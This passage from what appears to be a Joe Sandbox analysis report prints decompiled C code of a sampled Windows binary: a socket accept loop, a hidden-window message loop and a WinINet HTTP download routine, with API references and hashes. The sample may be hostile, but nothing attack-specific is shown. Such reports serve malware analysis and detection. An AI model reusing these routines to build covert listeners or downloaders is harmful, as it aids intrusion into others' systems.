							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BD50() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E004094F0(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E1F0(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}




























                                                                                                                                                                                                                                                                                                                                                      0x0040e2f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e2fc
                                                                                                                                                                                                                                                                                                                                                      0x0040e302
                                                                                                                                                                                                                                                                                                                                                      0x0040e305
                                                                                                                                                                                                                                                                                                                                                      0x0040e30f
                                                                                                                                                                                                                                                                                                                                                      0x0040e317
                                                                                                                                                                                                                                                                                                                                                      0x0040e499
                                                                                                                                                                                                                                                                                                                                                      0x0040e49f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                                                                      0x0040e323
                                                                                                                                                                                                                                                                                                                                                      0x0040e329
                                                                                                                                                                                                                                                                                                                                                      0x0040e334
                                                                                                                                                                                                                                                                                                                                                      0x0040e346
                                                                                                                                                                                                                                                                                                                                                      0x0040e351
                                                                                                                                                                                                                                                                                                                                                      0x0040e362
                                                                                                                                                                                                                                                                                                                                                      0x0040e370
                                                                                                                                                                                                                                                                                                                                                      0x0040e378
                                                                                                                                                                                                                                                                                                                                                      0x0040e381
                                                                                                                                                                                                                                                                                                                                                      0x0040e38b
                                                                                                                                                                                                                                                                                                                                                      0x0040e38d
                                                                                                                                                                                                                                                                                                                                                      0x0040e392
                                                                                                                                                                                                                                                                                                                                                      0x0040e394
                                                                                                                                                                                                                                                                                                                                                      0x0040e3a0
                                                                                                                                                                                                                                                                                                                                                      0x0040e3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                                                                      0x0040e3bb
                                                                                                                                                                                                                                                                                                                                                      0x0040e3bb
                                                                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                                                                      0x0040e392
                                                                                                                                                                                                                                                                                                                                                      0x0040e381
                                                                                                                                                                                                                                                                                                                                                      0x0040e351
                                                                                                                                                                                                                                                                                                                                                      0x0040e3c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e3c8
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d3
                                                                                                                                                                                                                                                                                                                                                      0x0040e41c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e422
                                                                                                                                                                                                                                                                                                                                                      0x0040e428
                                                                                                                                                                                                                                                                                                                                                      0x0040e42d
                                                                                                                                                                                                                                                                                                                                                      0x0040e471
                                                                                                                                                                                                                                                                                                                                                      0x0040e475
                                                                                                                                                                                                                                                                                                                                                      0x0040e481
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e435
                                                                                                                                                                                                                                                                                                                                                      0x0040e447
                                                                                                                                                                                                                                                                                                                                                      0x0040e449
                                                                                                                                                                                                                                                                                                                                                      0x0040e452
                                                                                                                                                                                                                                                                                                                                                      0x0040e455
                                                                                                                                                                                                                                                                                                                                                      0x0040e45a
                                                                                                                                                                                                                                                                                                                                                      0x0040e45d
                                                                                                                                                                                                                                                                                                                                                      0x0040e45d
                                                                                                                                                                                                                                                                                                                                                      0x0040e452
                                                                                                                                                                                                                                                                                                                                                      0x0040e467
                                                                                                                                                                                                                                                                                                                                                      0x0040e46d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d5
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d9
                                                                                                                                                                                                                                                                                                                                                      0x0040e3df
                                                                                                                                                                                                                                                                                                                                                      0x0040e3e4
                                                                                                                                                                                                                                                                                                                                                      0x0040e40a
                                                                                                                                                                                                                                                                                                                                                      0x0040e40b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e40b
                                                                                                                                                                                                                                                                                                                                                      0x0040e3e6
                                                                                                                                                                                                                                                                                                                                                      0x0040e3ef
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f9
                                                                                                                                                                                                                                                                                                                                                      0x0040e3fa
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e3fa
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f7
                                                                                                                                                                                                                                                                                                                                                      0x0040e405
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e485
                                                                                                                                                                                                                                                                                                                                                      0x0040e48b
                                                                                                                                                                                                                                                                                                                                                      0x0040e491
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E2FC
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E30F
                                                                                                                                                                                                                                                                                                                                                      • WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E329
                                                                                                                                                                                                                                                                                                                                                      • WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E346
                                                                                                                                                                                                                                                                                                                                                      • accept.WS2_32(?,?,?), ref: 0040E378
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E3C6
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0040E3D9
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E3FA
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E40B
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E413
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0040E422
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E435
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E475
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E47B
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E48B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
                                                                                                                                                                                                                                                                                                                                                      • String ID: PCOI$ilci
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3345448188-3762367603
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 69e6be9f049139bd6f3b3eca58ebdea8894dffc8685f23f82a9787147485392f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c6f097d7e15fade293e7d9035e678dc4fafb00e6da71ecb747a2cd9ad393f737
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 69e6be9f049139bd6f3b3eca58ebdea8894dffc8685f23f82a9787147485392f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A641F6715002009BCB249F36DC8CB9B7BA4AF44710F148E3AFD55A72C1CB78E8A5CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DFD0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E0040DFD0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BB80( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BCC0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E004094F0( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408B60(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E620(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040dfd0
                                                                                                                                                                                                                                                                                                                                                      0x0040dfd2
                                                                                                                                                                                                                                                                                                                                                      0x0040e107
                                                                                                                                                                                                                                                                                                                                                      0x0040dfe4
                                                                                                                                                                                                                                                                                                                                                      0x0040dfe6
                                                                                                                                                                                                                                                                                                                                                      0x0040dfea
                                                                                                                                                                                                                                                                                                                                                      0x0040dff0
                                                                                                                                                                                                                                                                                                                                                      0x0040dff5
                                                                                                                                                                                                                                                                                                                                                      0x0040e080
                                                                                                                                                                                                                                                                                                                                                      0x0040e080
                                                                                                                                                                                                                                                                                                                                                      0x0040e084
                                                                                                                                                                                                                                                                                                                                                      0x0040e08e
                                                                                                                                                                                                                                                                                                                                                      0x0040e094
                                                                                                                                                                                                                                                                                                                                                      0x0040e099
                                                                                                                                                                                                                                                                                                                                                      0x0040e0b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e0b9
                                                                                                                                                                                                                                                                                                                                                      0x0040e0c2
                                                                                                                                                                                                                                                                                                                                                      0x0040e0d4
                                                                                                                                                                                                                                                                                                                                                      0x0040e0da
                                                                                                                                                                                                                                                                                                                                                      0x0040e0e0
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ea
                                                                                                                                                                                                                                                                                                                                                      0x0040e0f2
                                                                                                                                                                                                                                                                                                                                                      0x0040e0f6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e106
                                                                                                                                                                                                                                                                                                                                                      0x0040e0a1
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ab
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ad
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ae
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                                                                      0x0040e001
                                                                                                                                                                                                                                                                                                                                                      0x0040e023
                                                                                                                                                                                                                                                                                                                                                      0x0040e027
                                                                                                                                                                                                                                                                                                                                                      0x0040e02e
                                                                                                                                                                                                                                                                                                                                                      0x0040e036
                                                                                                                                                                                                                                                                                                                                                      0x0040e03c
                                                                                                                                                                                                                                                                                                                                                      0x0040e042
                                                                                                                                                                                                                                                                                                                                                      0x0040e04c
                                                                                                                                                                                                                                                                                                                                                      0x0040e052
                                                                                                                                                                                                                                                                                                                                                      0x0040e05c
                                                                                                                                                                                                                                                                                                                                                      0x0040e069
                                                                                                                                                                                                                                                                                                                                                      0x0040e06c
                                                                                                                                                                                                                                                                                                                                                      0x0040e06c
                                                                                                                                                                                                                                                                                                                                                      0x0040e069
                                                                                                                                                                                                                                                                                                                                                      0x0040e036
                                                                                                                                                                                                                                                                                                                                                      0x0040e023
                                                                                                                                                                                                                                                                                                                                                      0x0040e072
                                                                                                                                                                                                                                                                                                                                                      0x0040e078
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00000020,0040B840,?,0040EB74), ref: 0040DFEA
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E016
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E02E
                                                                                                                                                                                                                                                                                                                                                      • InterlockedIncrement.KERNEL32(?), ref: 0040E05C
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E06C
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00000020,?,0040EB74), ref: 0040E084
                                                                                                                                                                                                                                                                                                                                                      • SetEvent.KERNEL32(?,?,0040EB74), ref: 0040E08E
                                                                                                                                                                                                                                                                                                                                                      • PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EB74), ref: 0040E0AB
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,0040EB74), ref: 0040E0D4
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,0040EB74), ref: 0040E0DA
                                                                                                                                                                                                                                                                                                                                                      • WSACloseEvent.WS2_32(?), ref: 0040E0E0
                                                                                                                                                                                                                                                                                                                                                      • DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EB74), ref: 0040E0F6
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
                                                                                                                                                                                                                                                                                                                                                      • String ID: PCOI$ilci
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2403999931-3762367603
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7b85398a4c6017b866a0663d3a458e4260b57b9ca8504ec30086d2deaf649513
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c7027fb7f2896e8f2c2eb0808d59b3608ae9b6344484860e629dc12536fd183a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7b85398a4c6017b866a0663d3a458e4260b57b9ca8504ec30086d2deaf649513
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80318771900715ABC720AF71E848F97B7A8BF08300F04892AE599A7691C779F864CB98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404360 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73windowsleepregistryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E00404360() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E00404110;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1);
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_v8 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0);
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}










                                                                                                                                                                                                                                                                                                                                                      0x00404369
                                                                                                                                                                                                                                                                                                                                                      0x00404369
                                                                                                                                                                                                                                                                                                                                                      0x00404378
                                                                                                                                                                                                                                                                                                                                                      0x0040437d
                                                                                                                                                                                                                                                                                                                                                      0x00404380
                                                                                                                                                                                                                                                                                                                                                      0x00404387
                                                                                                                                                                                                                                                                                                                                                      0x00404396
                                                                                                                                                                                                                                                                                                                                                      0x0040439f
                                                                                                                                                                                                                                                                                                                                                      0x004043a2
                                                                                                                                                                                                                                                                                                                                                      0x004043a4
                                                                                                                                                                                                                                                                                                                                                      0x004043aa
                                                                                                                                                                                                                                                                                                                                                      0x004043c6
                                                                                                                                                                                                                                                                                                                                                      0x004043cc
                                                                                                                                                                                                                                                                                                                                                      0x004043dc
                                                                                                                                                                                                                                                                                                                                                      0x00404402
                                                                                                                                                                                                                                                                                                                                                      0x00404409
                                                                                                                                                                                                                                                                                                                                                      0x0040440d
                                                                                                                                                                                                                                                                                                                                                      0x00404425
                                                                                                                                                                                                                                                                                                                                                      0x0040442f
                                                                                                                                                                                                                                                                                                                                                      0x0040442f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040440d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404437
                                                                                                                                                                                                                                                                                                                                                      0x00404437
                                                                                                                                                                                                                                                                                                                                                      0x00404441

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %x%X$0
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 716646876-225668902
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1be0a28896d58379dce222b4fa4e2dc6b64525eee7932dd8d05c2ac19e785193
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 38065e7ea4c3cb18e3dcb6505b957afac4f73b5dab79f8681fd6a3e1bf06ac9c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1be0a28896d58379dce222b4fa4e2dc6b64525eee7932dd8d05c2ac19e785193
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6F2118B0A40308BFDB149BE0DC4DFEE7B78BB44701F548529F601B61D0DBB995858B69
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 561 40c150-40c1eb memset InternetCrackUrlA InternetOpenA 562 40c1f1-40c224 InternetConnectA 561->562 563 40c367-40c370 561->563 564 40c35a-40c361 InternetCloseHandle 562->564 565 40c22a-40c25a HttpOpenRequestA 562->565 564->563 566 40c260-40c277 HttpSendRequestA 565->566 567 40c34d-40c354 InternetCloseHandle 565->567 568 40c340-40c347 InternetCloseHandle 566->568 569 40c27d-40c281 566->569 567->564 568->567 570 40c336 569->570 571 40c287 569->571 570->568 572 40c291-40c298 571->572 573 40c329-40c334 572->573 574 40c29e-40c2c0 InternetReadFile 572->574 573->568 575 40c2c2-40c2c9 574->575 576 40c2cb 574->576 575->576 577 40c2cd-40c324 call 408a50 memcpy 575->577 576->573 577->572
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040C150(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408A50(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040c159
                                                                                                                                                                                                                                                                                                                                                      0x0040c163
                                                                                                                                                                                                                                                                                                                                                      0x0040c178
                                                                                                                                                                                                                                                                                                                                                      0x0040c17d
                                                                                                                                                                                                                                                                                                                                                      0x0040c180
                                                                                                                                                                                                                                                                                                                                                      0x0040c190
                                                                                                                                                                                                                                                                                                                                                      0x0040c196
                                                                                                                                                                                                                                                                                                                                                      0x0040c1a6
                                                                                                                                                                                                                                                                                                                                                      0x0040c1ac
                                                                                                                                                                                                                                                                                                                                                      0x0040c1c8
                                                                                                                                                                                                                                                                                                                                                      0x0040c1de
                                                                                                                                                                                                                                                                                                                                                      0x0040c1eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c217
                                                                                                                                                                                                                                                                                                                                                      0x0040c224
                                                                                                                                                                                                                                                                                                                                                      0x0040c24d
                                                                                                                                                                                                                                                                                                                                                      0x0040c25a
                                                                                                                                                                                                                                                                                                                                                      0x0040c277
                                                                                                                                                                                                                                                                                                                                                      0x0040c281
                                                                                                                                                                                                                                                                                                                                                      0x0040c336
                                                                                                                                                                                                                                                                                                                                                      0x0040c287
                                                                                                                                                                                                                                                                                                                                                      0x0040c287
                                                                                                                                                                                                                                                                                                                                                      0x0040c291
                                                                                                                                                                                                                                                                                                                                                      0x0040c2b1
                                                                                                                                                                                                                                                                                                                                                      0x0040c2c0
                                                                                                                                                                                                                                                                                                                                                      0x0040c2e9
                                                                                                                                                                                                                                                                                                                                                      0x0040c30a
                                                                                                                                                                                                                                                                                                                                                      0x0040c30f
                                                                                                                                                                                                                                                                                                                                                      0x0040c31e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c31e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c2c0
                                                                                                                                                                                                                                                                                                                                                      0x0040c332
                                                                                                                                                                                                                                                                                                                                                      0x0040c332
                                                                                                                                                                                                                                                                                                                                                      0x0040c281
                                                                                                                                                                                                                                                                                                                                                      0x0040c347
                                                                                                                                                                                                                                                                                                                                                      0x0040c347
                                                                                                                                                                                                                                                                                                                                                      0x0040c354
                                                                                                                                                                                                                                                                                                                                                      0x0040c354
                                                                                                                                                                                                                                                                                                                                                      0x0040c361
                                                                                                                                                                                                                                                                                                                                                      0x0040c361
                                                                                                                                                                                                                                                                                                                                                      0x0040c370

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040C178
